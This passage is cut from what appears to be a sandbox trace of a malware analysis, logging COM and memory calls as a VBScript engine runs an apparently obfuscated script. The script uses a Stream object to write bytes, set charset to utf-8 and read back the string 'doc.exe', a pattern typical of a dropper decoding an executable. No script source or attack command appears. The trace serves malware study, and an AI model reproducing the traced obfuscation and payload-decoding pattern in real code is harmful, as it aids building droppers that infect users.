riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Open", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=10) returned 0x0 [0068.919] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.919] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.919] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14bc48*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0068.919] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.919] ??3@YAXPAX@Z () returned 0x7f0001 [0068.919] ??3@YAXPAX@Z () returned 0x200001 [0068.919] ??3@YAXPAX@Z () returned 0x740001 [0068.919] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.919] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ivrejk", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.919] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ivrejk", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.919] GetCurrentThreadId () returned 0xd44 [0068.919] IUnknown:Release (This=0x1197760) returned 0x7 [0068.919] malloc (_Size=0x404) returned 0x1198958 [0068.920] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.920] malloc (_Size=0x804) returned 0x8790008 [0068.920] ??2@YAPAXI@Z () returned 0x1198d68 [0068.920] ??3@YAXPAX@Z () returned 0x1 [0068.920] malloc (_Size=0x204) returned 0x8790818 [0068.921] malloc (_Size=0x40) returned 0x1197880 [0068.921] malloc (_Size=0x108) returned 0x1198d68 [0068.921] ??2@YAPAXI@Z () returned 0x1129260 [0068.921] free (_Block=0x83d08e0) [0068.921] free (_Block=0x8790008) [0068.921] ??3@YAXPAX@Z () returned 0x740001 [0068.921] free (_Block=0x1197880) [0068.921] free (_Block=0x8790818) [0068.921] free (_Block=0x11c7d90) [0068.921] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.921] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.921] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.921] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.921] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0068.921] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.921] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="write", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=13) returned 0x0 [0068.921] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.921] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.922] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14bc48*(rgvarg=([0]=0x83d66b8*(varType=0x400c, wReserved1=0x76ad, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4db8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b929e0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0xc10c56c6)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66b8*(varType=0x400c, wReserved1=0x76ad, wReserved2=0x0, wReserved3=0x0, varVal1=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6ae4db8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b929e0*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), varVal2=0xc10c56c6)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0068.922] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.922] ??3@YAXPAX@Z () returned 0x7f0001 [0068.922] ??3@YAXPAX@Z () returned 0x200001 [0068.922] ??3@YAXPAX@Z () returned 0x740001 [0068.922] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.922] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.922] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kyguyejgiureu", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.922] GetCurrentThreadId () returned 0xd44 [0068.922] IUnknown:Release (This=0x1197760) returned 0x7 [0068.923] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.923] malloc (_Size=0x804) returned 0x8790008 [0068.923] ??2@YAPAXI@Z () returned 0x1198d68 [0068.923] ??3@YAXPAX@Z () returned 0x1 [0068.923] malloc (_Size=0x204) returned 0x8790818 [0068.937] malloc (_Size=0x40) returned 0x1197880 [0068.937] malloc (_Size=0xe4) returned 0x1198d68 [0068.937] ??2@YAPAXI@Z () returned 0x1129260 [0068.937] free (_Block=0x83d08e0) [0068.937] free (_Block=0x8790008) [0068.937] ??3@YAXPAX@Z () returned 0x740001 [0068.937] free (_Block=0x1197880) [0068.937] free (_Block=0x8790818) [0068.937] free (_Block=0x11c7d90) [0068.937] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.938] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.938] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.938] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.938] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.938] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Position", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=3) returned 0x0 [0068.938] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.938] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.938] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=3, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bc48*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=([0]=0x83d66c8*(varType=0x2, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1=0x87e0000, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x14bc44*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0068.938] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.938] ??3@YAXPAX@Z () returned 0x7f0001 [0068.939] ??3@YAXPAX@Z () returned 0x200001 [0068.939] ??3@YAXPAX@Z () returned 0x740001 [0068.939] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bf60 | out: ppvObject=0x14bf60*=0x0) returned 0x80004002 [0068.939] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bf64*="Type", cNames=0x1, lcid=0x409, rgDispId=0x14bf7c | out: rgDispId=0x14bf7c*=4) returned 0x0 [0068.939] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.939] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bf68 | out: ppvObject=0x14bf68*=0x0) returned 0x80004002 [0068.939] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bf34*(rgvarg=([0]=0x83d66f8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bf30*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bf10, puArgErr=0x14bf54 | out: pDispParams=0x14bf34*(rgvarg=([0]=0x83d66f8*(varType=0x2, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1=0x11c0002, varVal2=0x87e491c)), rgdispidNamedArgs=([0]=0x14bf30*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bf10*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bf54*=0x962b320) returned 0x0 [0068.939] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.939] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bf60 | out: ppvObject=0x14bf60*=0x0) returned 0x80004002 [0068.939] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bf64*="CharSet", cNames=0x1, lcid=0x409, rgDispId=0x14bf7c | out: rgDispId=0x14bf7c*=8) returned 0x0 [0068.939] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.939] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bf68 | out: ppvObject=0x14bf68*=0x0) returned 0x80004002 [0068.939] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=8, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x14bf34*(rgvarg=([0]=0x14be70*(varType=0x8, wReserved1=0x14, wReserved2=0x6768, wReserved3=0x83d, varVal1="utf-8", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bf30*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bf10, puArgErr=0x14bf54 | out: pDispParams=0x14bf34*(rgvarg=([0]=0x14be70*(varType=0x8, wReserved1=0x14, wReserved2=0x6768, wReserved3=0x83d, varVal1="utf-8", varVal2=0x802)), rgdispidNamedArgs=([0]=0x14bf30*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x14bf10*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bf54*=0x962b320) returned 0x0 [0068.940] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.940] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.940] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.940] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kjssdyufsdf7reig", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.940] GetCurrentThreadId () returned 0xd44 [0068.940] IUnknown:Release (This=0x1197760) returned 0x7 [0068.940] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.940] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.940] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vekidfjghtehg", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.940] GetCurrentThreadId () returned 0xd44 [0068.941] IUnknown:Release (This=0x1197760) returned 0x7 [0068.941] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.941] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.941] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.941] GetCurrentThreadId () returned 0xd44 [0068.941] IUnknown:Release (This=0x1197760) returned 0x7 [0068.941] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.941] malloc (_Size=0x804) returned 0x8790008 [0068.941] ??2@YAPAXI@Z () returned 0x1198d68 [0068.941] ??3@YAXPAX@Z () returned 0x1 [0068.941] malloc (_Size=0x204) returned 0x8790818 [0068.941] malloc (_Size=0x40) returned 0x1197880 [0068.942] malloc (_Size=0x11c) returned 0x1198d68 [0068.942] ??2@YAPAXI@Z () returned 0x1129260 [0068.942] free (_Block=0x83d08e0) [0068.942] free (_Block=0x8790008) [0068.942] ??3@YAXPAX@Z () returned 0x740001 [0068.942] free (_Block=0x1197880) [0068.942] free (_Block=0x8790818) [0068.942] free (_Block=0x11c7d90) [0068.942] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.942] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.942] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.942] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.942] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.942] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=19) returned 0x0 [0068.942] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.942] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.942] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x14bc48*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66c8, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66c8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="doc.exe", varVal2=0x0), pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0068.942] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.942] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0068.943] ??3@YAXPAX@Z () returned 0x7f0001 [0068.943] ??3@YAXPAX@Z () returned 0x200001 [0068.943] ??3@YAXPAX@Z () returned 0x740001 [0068.943] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.943] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.943] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.943] GetCurrentThreadId () returned 0xd44 [0068.943] IUnknown:Release (This=0x1197760) returned 0x7 [0068.943] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.943] malloc (_Size=0x804) returned 0x8790008 [0068.943] ??2@YAPAXI@Z () returned 0x1198d68 [0068.943] ??3@YAXPAX@Z () returned 0x1 [0068.943] malloc (_Size=0x204) returned 0x8790818 [0068.944] malloc (_Size=0x40) returned 0x1197880 [0068.944] malloc (_Size=0x104) returned 0x1198d68 [0068.944] ??2@YAPAXI@Z () returned 0x1129260 [0068.944] free (_Block=0x83d08e0) [0068.944] free (_Block=0x8790008) [0068.944] ??3@YAXPAX@Z () returned 0x740001 [0068.944] free (_Block=0x1197880) [0068.944] free (_Block=0x8790818) [0068.944] free (_Block=0x11c7d90) [0068.944] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.944] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.944] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.944] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0068.944] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0068.944] ??3@YAXPAX@Z () returned 0x7f0001 [0068.944] ??3@YAXPAX@Z () returned 0x200001 [0068.944] ??3@YAXPAX@Z () returned 0x740001 [0068.945] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14be9c | out: ppvObject=0x14be9c*=0x1197760) returned 0x0 [0068.945] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14beb8 | out: pid=0x14beb8*=1359636) returned 0x80020006 [0068.945] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=-1) returned 0x80020006 [0068.945] GetCurrentThreadId () returned 0xd44 [0068.945] IUnknown:Release (This=0x1197760) returned 0x7 [0068.945] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.945] malloc (_Size=0x804) returned 0x8790008 [0068.945] ??2@YAPAXI@Z () returned 0x1198d68 [0068.945] ??3@YAXPAX@Z () returned 0x1 [0068.945] malloc (_Size=0x204) returned 0x8790818 [0068.945] malloc (_Size=0x40) returned 0x1197880 [0068.945] malloc (_Size=0xd0) returned 0x1198d68 [0068.946] ??2@YAPAXI@Z () returned 0x1129260 [0068.946] free (_Block=0x83d08e0) [0068.946] free (_Block=0x8790008) [0068.946] ??3@YAXPAX@Z () returned 0x740001 [0068.946] free (_Block=0x1197880) [0068.946] free (_Block=0x8790818) [0068.946] free (_Block=0x11c7d90) [0068.946] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.946] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.946] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.946] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0068.946] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc74 | out: ppvObject=0x14bc74*=0x0) returned 0x80004002 [0068.946] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14bc78*="Close", cNames=0x1, lcid=0x409, rgDispId=0x14bc90 | out: rgDispId=0x14bc90*=11) returned 0x0 [0068.946] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0068.946] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bc7c | out: ppvObject=0x14bc7c*=0x0) returned 0x80004002 [0068.946] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14bc48*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14bc24, puArgErr=0x14bc68 | out: pDispParams=0x14bc48*(rgvarg=0x83d66c8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14bc24*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14bc68*=0x962b320) returned 0x0 [0068.947] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0068.947] ??3@YAXPAX@Z () returned 0x7f0001 [0068.947] ??3@YAXPAX@Z () returned 0x200001 [0068.947] ??3@YAXPAX@Z () returned 0x740001 [0068.947] free (_Block=0x1197838) [0068.947] free (_Block=0x1198958) [0068.947] free (_Block=0x1198748) [0068.947] free (_Block=0x8460768) [0068.947] ??3@YAXPAX@Z () returned 0xc80001 [0068.947] ??3@YAXPAX@Z () returned 0x360001 [0068.948] free 